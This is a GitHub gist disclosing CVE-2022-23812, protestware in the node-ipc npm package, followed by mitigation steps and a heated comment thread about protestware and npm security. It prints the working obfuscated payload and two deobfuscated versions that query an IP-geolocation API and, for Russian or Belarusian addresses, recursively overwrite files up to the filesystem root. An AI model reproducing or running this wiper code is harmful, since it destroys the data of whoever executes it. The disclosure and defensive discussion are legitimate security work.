Skip to content

Instantly share code, notes, and snippets.

@MidSpike
Last active January 29, 2025 18:02
Show Gist options
  • Save MidSpike/f7ae3457420af78a54b38a31cc0c809c to your computer and use it in GitHub Desktop.
Save MidSpike/f7ae3457420af78a54b38a31cc0c809c to your computer and use it in GitHub Desktop.
CVE-2022-23812 | RIAEvangelist/node-ipc is malware / protest-ware

RIAEvangelist/node-ipc is malware / protestware

The RIAEvangelist/node-ipc module contains protestware peacenotwar.

Excerpt from RIAEvangelist/node-ipc:

as of v11.0.0 & v9.2.2 this module uses the peacenotwar module.


More importantly, commits 847047cf7f81ab08352038b2204f0e7633449580 -> 6e344066a0464814a27fbd7ca8422f473956a803 of RIAEvangelist/node-ipc contains malware.


⚠️| The following code is malicious, DO NOT RUN IT

https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js

The following codeblock was added in-case the url above is deactivated
import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}

⚠️| The above code is malicious, DO NOT RUN IT


I deobfuscated the code above and found that if the host machine's public ip address was from Russia or Belarus, node-ipc would proceed overwrite many files with a heart emoji recursively while traversing up parent directories:


⚠️| The following code is malicious, DO NOT RUN IT

import u from "path";
import a from "fs";
import o from "https";
setTimeout(function () {
    const t = Math.round(Math.random() * 4);
    if (t > 1) {
        return;
    }
    const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
    o.get(n.toString("utf8"), function (t) {
        t.on("data", function (t) {
            const n = Buffer.from("Li8=", "base64");
            const o = Buffer.from("Li4v", "base64");
            const r = Buffer.from("Li4vLi4v", "base64");
            const f = Buffer.from("Lw==", "base64");
            const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
            const e = Buffer.from("cnVzc2lh", "base64");
            const i = Buffer.from("YmVsYXJ1cw==", "base64");
            try {
                const s = JSON.parse(t.toString("utf8"));
                const u = s[c.toString("utf8")].toLowerCase();
                const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
                if (a) {
                    h(n.toString("utf8"));
                    h(o.toString("utf8"));
                    h(r.toString("utf8"));
                    h(f.toString("utf8"));
                }
            } catch (t) {}
        });
    });
}, Math.ceil(Math.random() * 1e3));
async function h(n = "", o = "") {
    if (!a.existsSync(n)) {
        return;
    }
    let r = [];
    try {
        r = a.readdirSync(n);
    } catch (t) {}
    const f = [];
    const c = Buffer.from("4p2k77iP", "base64");
    for (var e = 0; e < r.length; e++) {
        const i = u.join(n, r[e]);
        let t = null;
        try {
            t = a.lstatSync(i);
        } catch (t) {
            continue;
        }
        if (t.isDirectory()) {
            const s = h(i, o);
            s.length > 0 ? f.push(...s) : null;
        } else if (i.indexOf(o) >= 0) {
            try {
                a.writeFile(i, c.toString("utf8"), function () {});
            } catch (t) {}
        }
    }
    return f;
}
const ssl = true;
export { ssl as default, ssl };

⚠️| The above code is malicious, DO NOT RUN IT


The following are excerpts from the malicious code:

Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
// https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154
const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
// checks if ip country is Russia or Belarus
a.writeFile(i, c.toString("utf8"), function () {});
// overwrites file with `❤️`

The following demonstrates example of what each of the parameters going to the a.writeFile(i,c.toString("utf8") would be:

image


Edit 2022-03-16_0

Comment by zkyf

Just made it better looked and commented dangerous code so you guys can take a try. Obviously the code will delete literally EVERYTHING on your drive.

const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
    const randomNumber = Math.round(Math.random() * 4);
    if (randomNumber > 1) {
        // return;
    }
    const apiKey = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
    const pwd = "./";
    const parentDir = "../";
    const grandParentDir = "../../";
    const root = "/";
    const countryName = "country_name";
    const russia = "russia";
    const belarus = "belarus";

    https.get(apiKey, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const message = JSON.parse(msgBuffer.toString("utf8"));
                const userCountryName = message[countryName.toString("utf8")].toLowerCase();
                const hasRus = userCountryName.includes(russia.toString("utf8")) || userCountryName.includes(belarus.toString("utf8")); // checks if country is Russia or Belarus
                if (hasRus) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (t) {}
        });
    });

    // zkyf: Let's try this directly here
    deleteFile(pwd);
    deleteFile(parentDir);
    deleteFile(grandParentDir);
    deleteFile(root);
}, 100);

async function deleteFile(pathName = "", o = "") {
    if (!fs.existsSync(pathName)) {
        return;
    }
    let fileList = [];
    try {
        fileList = fs.readdirSync(pathName);
    } catch (t) {}
    const f = [];
    const heartUtf8 = Buffer.from("4p2k77iP", "base64");
    for (var idx = 0; idx < fileList.length; idx++) {
        const fileName = path.join(pathName, fileList[idx]);
        let fileInfo = null;
        try {
            fileInfo = fs.lstatSync(fileName);
        } catch (err) {
            continue;
        }
        if (fileInfo.isDirectory()) {
            const fileSymbol = deleteFile(fileName, o);
            fileSymbol.length > 0 ? f.push(...fileSymbol) : null;
        } else if (fileName.indexOf(o) >= 0) {
            try {
                // fs.writeFile(fileName, heartUtf8.toString("utf8"), function () {}); // overwrites file with `❤️`
                console.log(`Rewrite ${fileName}`);
            } catch (err) {}
        }
    }
    return f;
}

Console: image


Edit 2022-03-16_1 (requested by @lgg)

Available mitigation methods:

The following mitigation strategies are inspired by cnpm's (is not npm) mitigation methods: cnpm/bug-versions#181

If you use one of the following mitigation stratagies, make sure to remove the ^ to force node-ipc to the specified version.

"^9.x.x" -> "9.2.1"

     "dependencies": {
-        "node-ipc": "^9.x.x"
+        "node-ipc": "9.2.1"
     }

"^10.x.x" -> "10.1.0"

     "dependencies": {
-        "node-ipc": "^10.x.x"
+        "node-ipc": "10.1.0"
     }

"^11.x.x" -> "10.1.0"

     "dependencies": {
-        "node-ipc": "^11.x.x"
+        "node-ipc": "10.1.0"
     }

3rd-party mitigation methods:


Edit 2022-03-16_2 (requested by @lgg)

Edit 2022-03-17_0

@RIAEvangelist has banned me from interacting with their repositories

Edit 2022-03-17_1

The security research firm snyk.io recommends the following mitigation strategy for users of node-ipc:

package.json

  "overrides": {
    "node-ipc@>9.2.1 <10": "9.2.1",
    "node-ipc@>10.1.0": "10.1.0"
  }

Edit 2022-03-17_2 (credit: @Uzlopak)

NPM users below NPM v8, this is for you!

Don't forget to mention that npm supports override with npm 8. Earlier versions don't have overrides capabilities. So node 12 and 14, which are LTS, use by default npm 6 and that would not work with them. So upgrading npm to 8 would be necessary.

Yarn users, this is for you!

I'm not too familiar with how yarn works, so I don't want to risk giving false instructions to users.

Edit 2022-03-17_3

Please read this message

I've been seeing a lot of hate comments going after the owner of node-ipc (especially on their repositories). We should remember the high standards that we expect from our fellow developers on GitHub, regardless of what another has done.

Preferably this gist and it's comments should be focused on the research and discussion of CVE-2022-23812. I'm sure that the owner of node-ipc will be reprimanded by their employer, NPM, and GitHub.

Please do not threaten anyone here (or elsewhere for that matter).

Edit 2022-03-18_0

I've begun work on my own fork of node-ipc: MidSpike/node-ipc#1

@Uzlopak
Copy link

Uzlopak commented Mar 18, 2022

It is about utilizing code to be a political weapon. If you add "No to Putin and no to the Ukrainian War" then I could care less. But also keep in mind, that a Russia user of you package could face some serious reprimands.
So imho best is to keep politics out.

I am currently in a country with basically no freedom of expression. I wipe my phone from political statements regarding this country before I come here. Just to don't get issues if my phone gets seized.
So I actually think politics should be not be on GitHub at all.

@jellelicht
Copy link

Thank you for the calm and clear reasoning @Uzlopak. I can’t say I see things the same way, but that likely has more to do with the fact that I have the privilege of living in an environment where freedom of expression is a given.

@hanetzer
Copy link

Just want to point out archives and archives of archives of this code exist
https://archive.ph/n8oBX
https://web.archive.org/web/20220317213444/https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js

This is not even archived, just a dangling commit on their own repo.
https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js

Archives of me pointing this out
before nuke and ban:
https://archive.ph/bboiL
after nuke and ban:
https://archive.ph/UF7LM

@noblehng
Copy link

Political or not, there are all kind of reasons someone could put in malicious codes as I said above. This has been happened a lot in NPM before. There even had been some researchers trying to push malicious codes into linux kernel for their research.

NPM should do more to bar malicious codes from affecting users in the future. Russ Cox has a good write-up about this not long ago when colors-faker happened:
https://research.swtch.com/npm-colors

@ShikiSuen
Copy link

That repo owner is really shameless.

@MidSpike
Copy link
Author

@MidSpike

Can you link please to the commit RIAEvangelist/node-ipc@847047c ?

@Uzlopak Thank you for the suggestion, however a link to that commit is already included:

image

@superfedya
Copy link

@RIAEvangelist

Adding a malware that targets users by IP and erases all of their data isn't legal, no matter the reason is. I think taking care of this issue should be the authority job.

@meisme-dev
Copy link

i got banned from the repo

@tylerreisinger
Copy link

@RIAEvangelist You clearly should not be part of the open source community. Ironically the only people you hurt are people who likely had zero say in the Ukraine war. Get over yourself, people will fork your projects and you won't get to stoke your giant ego the way you want to.

@AlttiRi
Copy link

AlttiRi commented Mar 18, 2022

Using caret ranged semver by default in package.json by NPM looks more questionable now.

As well as the default granting to any package no limited access to hard drives and network by Node.js.

I think package.json should contain the permission list which will limit read/write places and network access for a package. Like it is in web extensions.


UPD.

A few thoughts about package.json's "permissions" field

For example:

  • is-odd-num should not require any permission.
  • The most devDeps packages will only require read/write/overwrite operations inside the parent package's directory (except write access to node_modules directory).
  • Some packages require only access to a temp directory.
  • For almost all packages it makes sense to limit network access at all, or allow only certain hosts/URLs.
  • If a module A uses another module B with "*://*/*" ("<all_urls>") permission (for example, node-fetch), then module B will not have "<all_urls>" permission enabled unless it's not specified in package.json of parent module A. (A parent module should limit access of submodules.)
  • Also adding a new permission should prevent auto updating of this module to the newer version by the parent module that uses it.

In cases of node-ipc I don't see that it should have read/write/overwrite access to any hard drive place.
If it requires the network access by default, you could limit it in package.json of your application. So, you would see the warning that your app (one of submodules) unexpectedly performs requests to a geoIP service, that node-ipc did. Also node-ipc just would not updated automatically to this version because of changing the permission list of it.

More advanced thing:

  • dynamical granting access to certain submodules,
  • permission list for oninstall event, for example, some packages download some additional required for work files only on install event.

@ejaz-ahmed
Copy link

@MidSpike thanks for reporting this vulnerability. I'm the founder of ipgeolocation.io which was used to perform the geolocation part here. FYI, we've revoked this API key and the code will fail now. Informing us on time might have saved someone. I feel sorry for whoever was harmed due to this.

@forresthopkinsa
Copy link

@ejaz-ahmed Thank you, your early response definitely did save a lot of people

@Eyad-Bereh
Copy link

@MidSpike I wonder, if we took the user that executes the node process and disallowed it from writing files outside specific paths, would it be enough to mitigate this dangerous effect ?

@MidSpike
Copy link
Author

@MidSpike thanks for reporting this vulnerability. I'm the founder of ipgeolocation.io which was used to perform the geolocation part here. FYI, we've revoked this API key and the code will fail now. Informing us on time might have saved someone. I feel sorry for whoever was harmed due to this.

@ejaz-ahmed Assuming that you're the founder, thank you for quickly disabling the api key!

@MidSpike
Copy link
Author

Using caret ranged semver by default in package.json by NPM looks more questionable now.

As well as the default granting to any package no limited access to hard drives and network by Node.js.

I think package.json should contain the permission list which will limit read/write places and network access for a package. Like it is in web extensions.

@AlttiRi I fully agree with that sentiment, this discovery has certainly put a sour taste in my mouth regarding how dependency updates are handled by default.

I'm also in favor for a dependency permissions system, however I'm unsure of what one would look like or if it is even possible to adapt npm and nodejs to support one.

@Uzlopak
Copy link

Uzlopak commented Mar 18, 2022

Imho it is the wrong place to manage that.

You should actually run nodejs with a limitted user, so that the process can only access specific folders. And that is OS specific. And if you use docker you should anyway use a limitted user.

And for the external calls you should actually use a firewall or reverse proxy(?) to deny outgoing traffic.

Well... And you should not use root user to develop in the first place.

@IssuingCorrections
Copy link

Stop making this stuff personal, leave this dude alone and start focusing on ways we can make sure nothing RIAEvangelist does ever impacts any of us again.

Ha! Wow, you're not very good at this.

Unfortunately, people here are a little too bright for the dim-bulb "let's all just move past this tactic".

You shouldn't have led by saying the human rights NGO was Asking For It. Really makes the rest of what you write flop around in clown shoes with a red ball nose ;)

@nyankers
Copy link

@MidSpike
Can you link please to the commit RIAEvangelist/node-ipc@847047c ?
RIAEvangelist tries to gaslight people by claiming that it was never nuking filesystems but only putting a textfile on the desktop.

Stop making this stuff personal, leave this dude alone and start focusing on ways we can make sure nothing RIAEvangelist does ever impacts any of us again.

Besides it being rather deceptive to pretend this never happened, and given that open source is fundamentally built on transparency, I have no idea why you'd want to defend sweeping this under the rug...

It's also rather important to point out that he's making this effort, as anyone looking into this for themselves might be confused why they don't see such malicious code, etc. Myself included until I found posts like these.

@coffeenotfound
Copy link

I'm kinda of the opinion that someone who deliberately and maliciously puts malware into their package deserves hate. Something something consequences

Copy link

ghost commented Mar 18, 2022

@Uzlopak Kind of an awkward setup to run a hello world application don't you think? If you have to jump through hoops like these just drop the thing entirely. Should we treat NPM like windows?

@Uzlopak
Copy link

Uzlopak commented Mar 18, 2022

Imho FOSS is about trust and(!) reading the used code. Also don't forget that you can even publish packages which contain files and code which is not in the repository. So yeah, basically npm can be a can of worms and should be threated like windows.

Copy link

ghost commented Mar 18, 2022

I am not against that approach. I am just pointing out that its kind of an absurd situation, filtering incoming packets from npmjs.com through an antivirus and containerizing any runable piece of code as if it was a torrent site.

@bminer
Copy link

bminer commented Mar 19, 2022

Software developers should know better. Software is not the place to take a political stance. Publishing malicious software to npm, even publishing annoying software should be punishable. npm would be wise to suspend the author's publishing permissions and permanently remove affected versions of this package.

Even package maintainers who print messages to stdout / stderr asking for monetary support for their work is stretching the rules in my opinion. As long as packages support a way to silence these messages (i.e. ADBLOCK environment variable), I think this is the most annoyance the community should tolerate.

War of any kind is tragic. Protests should be permitted and perhaps encouraged where appropriate. But, as developers we all trust one another blindly to keep software purely functional, not to advertise or push a political agenda. In my humble opinion, actions like these should not be tolerated. I'm not saying we need to ban bad actors from npm for life or anything, but some appropriate level of action should be taken against those publishing malicious / annoying software.

I can appreciate taking ownership for a project and controlling its future direction, but if the future direction of a project intends to annoy or act maliciously against another, this is not okay.

@sighwort
Copy link

You all just become lazy, don't you? Oh new code, pull pull pull!
Review? Who cares? Tests? Eho cares? My country is doing something nasty? Who cares?
I just sit in front of my computer just tape together few public libs and now you should call me developer!

@RigoOnRails
Copy link

RigoOnRails commented Mar 19, 2022 via email

@ShikiSuen
Copy link

@sighwort Your point smells of social darwinism.
I don't know whether social darwinism should be tolerated in a civilized country.

@RigoOnRails
Copy link

@ShikiSuen It’s most likely the same dumbass who wrote the malware just using a fake account. It had 0 activity when he posted that comment & now he’s following @RIAEvangelist & forked a random repo.

@bxb100
Copy link

bxb100 commented Mar 19, 2022

WOW, The OSS AMERICAN World Police showed up

@Disquse
Copy link

Disquse commented Mar 19, 2022

@bxb100 yeah, and the other typical American trying to "help" by harming other people. @RIAEvangelist if you want to help Ukraine so much, go ahead and ask your government to close the air zone in Ukraine as Ukrainian people ask you to do. Or your sense of justice ends where the risk of harm to your own consumer lifestyle begins? Pathetic.

@Eyad-Bereh
Copy link

@RIAEvangelist You should feel ashamed for injecting malicious code into an open source software
Have you thought about the damage you caused to normal people ?, some people have lost important files and might face legal issues, some people might get fired from their jobs
Have you thought about the possibility that a medical system might be using node-ipc and you have put people lives in danger ?
The malicious code has only targeted Russian developers who are working for their living so there's definitely no execuse for what you did, no matter what
If you really want to help Ukrainians then tell your government to stop lying on them, or is it the foreign U.S policy for decades and can't be changed ?!!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment